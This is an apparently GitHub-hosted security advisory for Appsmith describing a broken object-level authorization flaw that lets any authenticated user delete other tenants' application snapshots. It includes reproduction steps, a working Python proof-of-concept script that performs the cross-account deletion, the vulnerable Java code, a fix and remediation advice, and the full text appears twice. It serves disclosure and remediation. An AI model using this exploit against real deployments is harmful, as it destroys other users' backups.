Found autonomously by strix.ai
Description
A broken object-level authorization (IDOR/BOLA) vulnerability was identified in the application snapshot deletion endpoint. The server accepts a user-controlled application identifier in the request path and deletes snapshot data without validating that the authenticated user has access to the referenced application.
This allows any authenticated user to delete snapshots belonging to other users/tenants by supplying a target application ID. During validation, a non-owner account that could not access or export the target application was still able to delete its snapshot successfully.
ID Discoverability
While Application IDs are 24-character hex strings, they are trivially discoverable in public-facing applications. An unauthenticated attacker can extract the applicationId directly from the HTML source code or background API traffic of any published public app, then use their own account to destroy its backups. This is true even of the hosted appsmith.com.
Impact
An attacker with any authenticated account can delete snapshots for applications they do not own or have access to. This enables cross-tenant sabotage by destroying backup/restore points and preventing users from restoring prior application state via snapshot functionality.
Business impact includes loss of integrity of backup artifacts, interruption of recovery workflows, and increased operational risk in multi-tenant environments where application IDs can be obtained or guessed.
Technical Analysis
The vulnerable behavior is implemented in the snapshot deletion service method, which directly deletes snapshot records by application ID without performing an authorization check.
ApplicationSnapshotServiceCEImpl.deleteSnapshot calls applicationSnapshotRepository.deleteAllByApplicationId(branchedApplicationId) and returns success unconditionally. Unlike restoreSnapshot, which explicitly calls applicationService.findById(..., applicationPermission.getEditPermission()), the delete path does not verify that the caller has edit (or any) permission on the application.
As a result, an authenticated user can delete snapshot data for any application ID, even when other privileged snapshot operations (e.g., snapshot creation) correctly fail due to missing permissions.
Proof of Concept
Preconditions:
- Two authenticated users exist: User A (owner of the target application) and User B (non-owner).
- An application ID belonging to User A is known (e.g., from normal UI/API usage).
Steps to reproduce:
- Authenticate as User A and create a snapshot:
- Send
POST /api/v1/applications/snapshot/<APP_ID> with header X-Requested-By: Appsmith.
- Observe
201 with data: true.
- Confirm the snapshot exists:
- Send
GET /api/v1/applications/snapshot/<APP_ID>.
- Observe a non-null
data.updatedTime timestamp.
- Authenticate as User B (who has no access to User A’s application) and confirm lack of access:
POST /api/v1/applications/snapshot/<APP_ID> with X-Requested-By: Appsmith returns 404 (no resource found).
GET /api/v1/applications/export/<APP_ID> returns 404 (no resource found).
- As User B, delete User A’s snapshot:
- Send
DELETE /api/v1/applications/snapshot/<APP_ID> with header X-Requested-By: Appsmith.
- Observe
200 with data: true.
- Verify the snapshot was deleted for User A (and can be observed without elevated privileges):
GET /api/v1/applications/snapshot/<APP_ID> now returns data.updatedTime: null for User A and for unauthenticated callers.
Observed validation example (sanitized):
- User A created snapshot and saw
updatedTime set.
- User B could not create snapshot (
404) but could delete snapshot (200).
- After deletion,
updatedTime became null.
import re
import time
import urllib.parse
import requests
BASE_URL = "http://127.0.0.1:8080" # Replace with target base URL
PROXIES = {"http": None, "https": None}
def signup(email: str, password: str, name: str) -> dict:
url = f"{BASE_URL}/api/v1/users"
headers = {
"Content-Type": "application/x-www-form-urlencoded",
"X-Requested-By": "Appsmith",
}
data = {"email": email, "password": password, "name": name}
resp = requests.post(url, headers=headers, data=data, allow_redirects=False, timeout=25, proxies=PROXIES)
return {
"status": resp.status_code,
"location": resp.headers.get("Location", ""),
"cookies": resp.cookies.get_dict(),
"body_head": resp.text[:200],
}
def extract_app_id(location: str) -> str:
# Example Location:
# /signup-success?redirectUrl=%2Fapplications%2F<appId>%2Fpages%2F<pageId>%2Fedit&enableFirstTimeUserExperience=true
parsed = urllib.parse.urlparse(location)
qs = urllib.parse.parse_qs(parsed.query)
redirect_url = urllib.parse.unquote(qs.get("redirectUrl", [""])[0])
m = re.search(r"/applications/([0-9a-f]{24})/", redirect_url)
if not m:
raise RuntimeError(f"Could not extract appId from redirectUrl: {redirect_url!r}")
return m.group(1)
def req(method: str, path: str, cookies=None, headers=None) -> requests.Response:
url = f"{BASE_URL}{path}"
h = {"Accept": "application/json"}
if headers:
h.update(headers)
return requests.request(method, url, headers=h, cookies=cookies, allow_redirects=False, timeout=25, proxies=PROXIES)
def get_updated_time(app_id: str, cookies=None) -> str | None:
r = req("GET", f"/api/v1/applications/snapshot/{app_id}", cookies=cookies)
j = r.json()
data = j.get("data")
if isinstance(data, dict):
return data.get("updatedTime")
return None
def main() -> int:
ts = int(time.time())
user_a = {"email": f"snap_a_{ts}@example.com", "password": "Password123!", "name": "snap a"}
user_b = {"email": f"snap_b_{ts}@example.com", "password": "Password123!", "name": "snap b"}
a = signup(user_a["email"], user_a["password"], user_a["name"])
if a["status"] != 302:
raise RuntimeError(f"User A signup failed: {a}")
app_id = extract_app_id(a["location"])
cookies_a = a["cookies"]
b = signup(user_b["email"], user_b["password"], user_b["name"])
if b["status"] != 302:
raise RuntimeError(f"User B signup failed: {b}")
cookies_b = b["cookies"]
# 1) User A creates snapshot
r_create_a = req(
"POST",
f"/api/v1/applications/snapshot/{app_id}",
cookies=cookies_a,
headers={"X-Requested-By": "Appsmith"},
)
print("User A create snapshot:", r_create_a.status_code, r_create_a.text[:120])
# 2) Verify snapshot exists
before = get_updated_time(app_id, cookies=cookies_a)
print("Snapshot updatedTime (before):", before)
if not before:
raise RuntimeError("Expected non-null updatedTime before deletion")
# 3) Prove user B lacks access (cannot create snapshot, cannot export app)
r_create_b = req(
"POST",
f"/api/v1/applications/snapshot/{app_id}",
cookies=cookies_b,
headers={"X-Requested-By": "Appsmith"},
)
print("User B create snapshot (expected fail):", r_create_b.status_code, r_create_b.text[:160])
r_export_b = req("GET", f"/api/v1/applications/export/{app_id}", cookies=cookies_b)
print("User B export app (expected fail):", r_export_b.status_code, r_export_b.text[:160])
# 4) Exploit: user B deletes user A snapshot
r_delete_b = req(
"DELETE",
f"/api/v1/applications/snapshot/{app_id}",
cookies=cookies_b,
headers={"X-Requested-By": "Appsmith"},
)
print("User B delete snapshot (should NOT be allowed):", r_delete_b.status_code, r_delete_b.text[:120])
# 5) Verify deletion (updatedTime becomes null)
after_a = get_updated_time(app_id, cookies=cookies_a)
after_unauth = get_updated_time(app_id, cookies=None)
print("Snapshot updatedTime (after, userA):", after_a)
print("Snapshot updatedTime (after, unauth):", after_unauth)
return 0
if __name__ == "__main__":
raise SystemExit(main())
Code Analysis
Location 1: app/server/appsmith-server/src/main/java/com/appsmith/server/services/ce/ApplicationSnapshotServiceCEImpl.java (lines 132-137)
Snapshot deletion performed without verifying the caller’s permission on the application (sink)
@Override
public Mono<Boolean> deleteSnapshot(String branchedApplicationId) {
return applicationSnapshotRepository
.deleteAllByApplicationId(branchedApplicationId)
.thenReturn(Boolean.TRUE);
}
Suggested Fix:
- @Override
- public Mono<Boolean> deleteSnapshot(String branchedApplicationId) {
- return applicationSnapshotRepository
- .deleteAllByApplicationId(branchedApplicationId)
- .thenReturn(Boolean.TRUE);
- }
+ @Override
+ public Mono<Boolean> deleteSnapshot(String branchedApplicationId) {
+ return applicationService
+ .findById(branchedApplicationId, applicationPermission.getEditPermission())
+ .switchIfEmpty(Mono.error(new AppsmithException(
+ AppsmithError.NO_RESOURCE_FOUND, FieldName.APPLICATION, branchedApplicationId)))
+ .flatMap(application -> applicationSnapshotRepository.deleteAllByApplicationId(application.getId()))
+ .thenReturn(Boolean.TRUE);
+ }
Location 2: app/server/appsmith-server/src/main/java/com/appsmith/server/controllers/ce/ApplicationControllerCE.java (lines 219-227)
Publicly reachable delete endpoint; relies on service-layer authorization
@JsonView(Views.Public.class)
@DeleteMapping("/snapshot/{branchedApplicationId}")
public Mono<ResponseDTO<Boolean>> deleteSnapshotWithoutApplicationJson(@PathVariable String branchedApplicationId) {
log.debug("Going to delete snapshot with application branchedApplicationId: {}", branchedApplicationId);
return applicationSnapshotService
.deleteSnapshot(branchedApplicationId)
.map(isDeleted -> new ResponseDTO<>(HttpStatus.OK, isDeleted));
}
Remediation
-
Enforce object-level authorization in snapshot deletion
- Before deleting snapshots, resolve the application using
applicationService.findById(branchedApplicationId, applicationPermission.getEditPermission()) (or equivalent) and fail when the caller lacks permission.
- Only after the permission check passes should
deleteAllByApplicationId be executed.
-
Align authorization across snapshot operations
- Ensure create/restore/delete all enforce the same application permissions.
- Add regression tests that verify a non-owner cannot delete snapshots for another user’s application.
-
Consider restricting snapshot metadata exposure
- If not explicitly required, avoid exposing snapshot metadata (
updatedTime) to unauthenticated callers on GET /api/v1/applications/snapshot/{id}. If exposure is needed, still bind it to view permission.
found by using https://github.com/usestrix/strix in collaboration with 0xallam
Found autonomously by strix.ai
Description
A broken object-level authorization (IDOR/BOLA) vulnerability was identified in the application snapshot deletion endpoint. The server accepts a user-controlled application identifier in the request path and deletes snapshot data without validating that the authenticated user has access to the referenced application.
This allows any authenticated user to delete snapshots belonging to other users/tenants by supplying a target application ID. During validation, a non-owner account that could not access or export the target application was still able to delete its snapshot successfully.
ID Discoverability
While Application IDs are 24-character hex strings, they are trivially discoverable in public-facing applications. An unauthenticated attacker can extract the
applicationIddirectly from the HTML source code or background API traffic of any published public app, then use their own account to destroy its backups. This is true even of the hosted appsmith.com.Impact
An attacker with any authenticated account can delete snapshots for applications they do not own or have access to. This enables cross-tenant sabotage by destroying backup/restore points and preventing users from restoring prior application state via snapshot functionality.
Business impact includes loss of integrity of backup artifacts, interruption of recovery workflows, and increased operational risk in multi-tenant environments where application IDs can be obtained or guessed.
Technical Analysis
The vulnerable behavior is implemented in the snapshot deletion service method, which directly deletes snapshot records by application ID without performing an authorization check.
ApplicationSnapshotServiceCEImpl.deleteSnapshotcallsapplicationSnapshotRepository.deleteAllByApplicationId(branchedApplicationId)and returns success unconditionally. UnlikerestoreSnapshot, which explicitly callsapplicationService.findById(..., applicationPermission.getEditPermission()), the delete path does not verify that the caller has edit (or any) permission on the application.As a result, an authenticated user can delete snapshot data for any application ID, even when other privileged snapshot operations (e.g., snapshot creation) correctly fail due to missing permissions.
Proof of Concept
Preconditions:
Steps to reproduce:
POST /api/v1/applications/snapshot/<APP_ID>with headerX-Requested-By: Appsmith.201withdata: true.GET /api/v1/applications/snapshot/<APP_ID>.data.updatedTimetimestamp.POST /api/v1/applications/snapshot/<APP_ID>withX-Requested-By: Appsmithreturns404(no resource found).GET /api/v1/applications/export/<APP_ID>returns404(no resource found).DELETE /api/v1/applications/snapshot/<APP_ID>with headerX-Requested-By: Appsmith.200withdata: true.GET /api/v1/applications/snapshot/<APP_ID>now returnsdata.updatedTime: nullfor User A and for unauthenticated callers.Observed validation example (sanitized):
updatedTimeset.404) but could delete snapshot (200).updatedTimebecamenull.Code Analysis
Location 1:
app/server/appsmith-server/src/main/java/com/appsmith/server/services/ce/ApplicationSnapshotServiceCEImpl.java(lines 132-137)Snapshot deletion performed without verifying the caller’s permission on the application (sink)
Suggested Fix:
Location 2:
app/server/appsmith-server/src/main/java/com/appsmith/server/controllers/ce/ApplicationControllerCE.java(lines 219-227)Publicly reachable delete endpoint; relies on service-layer authorization
Remediation
Enforce object-level authorization in snapshot deletion
applicationService.findById(branchedApplicationId, applicationPermission.getEditPermission())(or equivalent) and fail when the caller lacks permission.deleteAllByApplicationIdbe executed.Align authorization across snapshot operations
Consider restricting snapshot metadata exposure
updatedTime) to unauthenticated callers onGET /api/v1/applications/snapshot/{id}. If exposure is needed, still bind it to view permission.found by using https://github.com/usestrix/strix in collaboration with 0xallam